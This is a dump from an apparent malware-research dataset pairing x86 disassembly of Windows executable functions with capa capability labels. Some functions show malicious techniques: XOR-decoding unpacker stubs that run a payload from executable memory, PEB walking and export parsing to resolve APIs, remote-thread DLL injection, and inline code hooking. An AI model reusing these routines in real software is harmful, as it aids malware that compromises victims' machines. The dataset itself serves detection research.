joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44ca20
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x44ca53
push esi
call fcn.0045add0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44ca4c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x44cad9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x44cac2
mov eax, dword [esi + 8]
test eax, eax
je 0x44ca77
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44cabe
cmp eax, 2
je 0x44cac2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44ca6a
cmp eax, 3
je 0x44ca9d
cmp eax, 1
jne 0x44ca6a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44ca6a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44ca6a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0044cb00
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x44cae8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0044cb00
add esp, 4
pop esi
ret

Function at 0x44d370
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x44d391
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x44d391
mov eax, dword [eax + 0x44]
test eax, eax
je 0x44d391
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4680d0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x468173
test eax, eax
jbe 0x468173
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x468173
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46811e
xor esi, esi
jmp 0x468124
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x46814f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00469ff0
add esi, eax
push esi
mov ebx, esi
call fcn.00469ff0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x468130
pop ebp
test edi, edi
pop edi
jne 0x468173
test ebx, ebx
je 0x468173
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00475670
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x468295
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4683ad
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4683ad
mov eax, dword [esi + 0x3c]
push eax
call fcn.0048691b
mov esi, eax
test esi, esi
je 0x4683ad
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x4683ad
mov ecx, esi
call fcn.00468220
cmp edi, eax
jge 0x4683ad
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x468333
mov dword [esp + 0x34], 1
jmp 0x46838e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x4683ad
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00467820
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x4872bf
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4872f7
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004852d6
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004852ae
jmp 0x487303
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4889b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4889f2
call fcn.0048e696
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4889f2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4889e9
xor eax, eax
jmp 0x4889fa
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00488a00
pop edi
pop esi
pop ebx
ret 4
Function at 0x48ebc6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x48ebf4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x48ec12
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0048eb2c
jmp 0x48ec12
mov eax, dword [esi + 0x14]
test eax, eax
je 0x48ec12
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0048eb2c
test edi, edi
mov eax, edi
jne 0x48ebfc
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x403203
pop dword [ebp - 0x1c]
mov eax, 0x403203
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xc8327137
add dword [ebp - 0x2c], 0x861fd414
mov dword [ebp - 0x28], 0x8c32c337
sub dword [ebp - 0x28], 0x59ff76f2
mov dword [ebp - 0x24], 0xe3e62f0c
add dword [ebp - 0x24], 0x68661522
mov dword [ebp - 0x20], 0xc0c33aad
add dword [ebp - 0x20], 0x3f3cc553
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x5abe0dcf
sub dword [ebp - 0x2c], 0xe64ba479
mov dword [ebp - 0x28], 0x6bf3451
sub dword [ebp - 0x28], 0xc552d2dc
mov dword [ebp - 0x24], 0xc45d2788
sub dword [ebp - 0x24], 0x60edbb1c
mov dword [ebp - 0x20], 0xd66f5dae
sub dword [ebp - 0x20], 0xd66f5dae
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36291
push 0
call eax
mov ecx, 0x525e8472
add ecx, 0xada1c1d2
xor esi, esi
add esi, eax
mov edi, 0x411000
add edi, dword [ebp - 0x1c]
mov ebx, 0x92f19a09
add ebx, 0x3efa64bd
mov edx, dword [edi]
mov dword [ebp - 0xc], 0x22f4c149
xor edx, ebx
sub dword [ebp - 0x14], ecx
mov dword [esi], edx
add dword [ebp - 0x10], edx
add esi, 0xea28c886
add esi, 0x15d7377e
add edi, 0xdf9d4855
sub edi, 0xdf9d4851
loop 0x403312
add eax, 0x10be3
mov ebx, eax
add eax, 0xff0a65a7
sub eax, 0xff0a65a2
mov ecx, 0x7c0a949b
sub ecx, 0x7bca949b
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x401bd7
pop dword [ebp - 0x20]
mov eax, 0x80276e6a
sub eax, 0x7fe75293
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x6c800d5
add dword [ebp - 0x30], 0x478a4476
mov dword [ebp - 0x2c], 0xbcab7adb
sub dword [ebp - 0x2c], 0x8a782e96
mov dword [ebp - 0x28], 0xdda704f7
sub dword [ebp - 0x28], 0x915ac0c9
mov dword [ebp - 0x24], 0x575fa28
add dword [ebp - 0x24], 0xfa8a05d8
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x96dca873
add dword [ebp - 0x30], 0xdd95c0e3
mov dword [ebp - 0x2c], 0xeab9658e
sub dword [ebp - 0x2c], 0xa94d0419
mov dword [ebp - 0x28], 0x38d9d5ea
sub dword [ebp - 0x28], 0xd56a697e
mov dword [ebp - 0x24], 0x2102fc82
sub dword [ebp - 0x24], 0x2102fc82
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x398cf
push 0
call eax
mov ecx, 0x53e7
xor edx, edx
add edx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x20]
mov ebx, 0xa5ad62ac
add ebx, 0x4bb39a0c
mov dword [ebp - 4], 0x2727b238
mov edi, dword [esi]
mov dword [ebp - 0x14], 0x3800df9c
xor edi, ebx
add dword [ebp - 0xc], 0xb3339c96
mov dword [edx], edi
xor dword [ebp - 8], edx
add edx, 0x1a2cbee1
sub edx, 0x1a2cbedd
add esi, 4
loop 0x401ce5
add eax, 0x495a74d9
sub eax, 0x4959326a
mov ebx, eax
add eax, 0xdb239495
sub eax, 0xdb239490
mov ecx, 0xbfc81cfb
sub ecx, 0xbf881cfb
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0xbb27c7
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0xbb280e
cmp ebx, 0x20
je 0xbb280e
cmp ebx, 0xffffffe0
je 0xbb280e
jne 0xbb2817
add eax, 1
cmp esi, eax
je 0xbb2824
jne 0xbb27f3
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0xbb2828
jne 0xbb27ef
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0xbb283c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0xbb2881
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0xbb2887
add eax, 4
pop esi
dec esi
push esi
jne 0xbb2869
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x10001d70
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x10001dad
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x10], 0
jne 0x10001d98
mov dword [ebp - 0x18], 1
jmp 0x10001d9f
mov dword [ebp - 0x18], 0
mov cl, byte [ebp - 0x18]
mov byte [ebp - 9], cl
movzx edx, byte [ebp - 9]
test edx, edx
je 0x10001db4
xor al, al
jmp 0x10001ec7
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x24], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10001ded
xor al, al
jmp 0x10001ec7
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x14]
cmp dword [ecx + 0x14], 0xf
jbe 0x10001e0b
mov dword [ebp - 0x1c], 1
jmp 0x10001e12
mov dword [ebp - 0x1c], 0
mov dl, byte [ebp - 0x1c]
mov byte [ebp - 0xa], dl
movzx eax, byte [ebp - 0xa]
test eax, eax
je 0x10001e2e
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x3c], edx
push 0
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x10001e5f
xor al, al
jmp 0x10001ec7
mov dword [ebp - 8], 0
push 0x1000652c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 8]
push ecx
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x40]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x10001ea9
xor al, al
jmp 0x10001ec7
cmp dword [ebp + 8], 0
je 0x10001ec5
cmp dword [ebp - 0x10], 0
je 0x10001ec5
cmp dword [ebp - 0x28], 6
je 0x10001ec5
cmp dword [ebp - 0x2c], 0
je 0x10001ec5
mov al, 1
jmp 0x10001ec7
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100044d3
mov esp, ebp
pop ebp
ret
Function at 0x10003603
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, 0xffffffff
je 0x1000370e
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x10003707
inc edi
cmp dword [ebp - 0x20], 0x10
jb 0x100036cb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x100036cb
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x100036cb
mov edx, dword [esi]
test edx, edx
jne 0x10003694
push 0x200
push edx
push dword [0x10008660]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x100036f0
lea ebx, [esi + 8]
jmp 0x100036be
mov eax, dword [esi + 4]
lea ebx, [esi + 8]
cmp dword [ebx], eax
jb 0x100036be
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push edx
push 0
push dword [0x10008660]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x1000371f
mov dword [esi], edx
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [ebx]
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1000364c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10003707
xor edi, edi
cmp dword [esi], edi
je 0x10003707
push dword [esi]
push edi
push dword [0x10008660]
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [esi], edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100044d3
leave
ret
mov ebx, dword [ebp - 0x24]
jmp 0x100036f0

Function at 0x10003724
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [edi], esi
mov dword [edi + 4], esi
mov dword [edi + 8], esi
call fcn.10003603
test eax, eax
jne 0x10003748
push 9
pop esi
jmp 0x1000378f
cmp dword [edi], esi
je 0x1000378f
push ebx
mov ebx, esi
cmp dword [edi + 8], esi
jbe 0x1000378e
mov eax, dword [edi]
push dword [eax + ebx*4]
push esi
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 4], eax
test eax, eax
je 0x10003788
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.100034b0
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [edi + 8]
jb 0x10003754
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x10003795
Capabilities:
Resume thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x100037e1
push edi
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x100037d0
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x100037c9
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x100037a6
pop ebx
push dword [esi]
push 0
push dword [0x10008660]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
ret

Function at 0x100037e3
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
imul esi, ecx, 0x2c
push edi
mov edi, edx
mov dword [ebp - 0x10], edi
add esi, dword [0x10008670]
mov dword [ebp - 8], esi
mov al, byte [esi + 0x14]
mov ebx, dword [esi]
and al, 1
je 0x10003809
sub ebx, 5
movzx eax, al
lea ecx, [ebp - 4]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10003830
push 0xa
pop eax
jmp 0x100038b0
test edi, edi
je 0x10003851
mov byte [ebx], 0xe9
mov eax, dword [esi + 4]
sub eax, ebx
sub eax, 5
mov dword [ebx + 1], eax
test byte [esi + 0x14], 1
je 0x10003870
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x10003870
test byte [esi + 0x14], 1
je 0x10003865
lea esi, [esi + 0xc]
mov edi, ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 8]
jmp 0x10003870
mov eax, dword [esi + 0xc]
mov dword [ebx], eax
mov al, byte [esi + 0x10]
mov byte [ebx + 4], al
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, dword [ebp - 0x10]
mov cl, dl
add cl, cl
shl dl, 2
xor cl, byte [esi + 0x14]
and cl, 2
xor cl, byte [esi + 0x14]
xor dl, cl
and dl, 4
xor dl, cl
xor eax, eax
mov byte [esi + 0x14], dl
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003e88
Capabilities:
Allocate or change rwx memory

Disassembly:
mov edx, dword [0x10008668]
push esi
xor esi, esi
jmp 0x10003e9a
cmp dword [edx + 4], esi
jne 0x10003eee
mov edx, dword [edx]
test edx, edx
jne 0x10003e93
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
test edx, edx
je 0x10003eea
push edi
push 0x20
lea ecx, [edx + 0x20]
mov dword [edx + 8], esi
pop edi
mov dword [ecx], esi
mov eax, ecx
mov dword [edx + 4], ecx
add edi, 0x20
add ecx, 0x20
mov esi, eax
cmp edi, 0xfe0
jbe 0x10003ec1
mov eax, dword [0x10008668]
mov dword [edx], eax
mov dword [0x10008668], edx
pop edi
test edx, edx
jne 0x10003eee
xor eax, eax
pop esi
ret
mov eax, dword [edx + 4]
pop esi
mov ecx, dword [eax]
inc dword [edx + 8]
mov dword [edx + 4], ecx
ret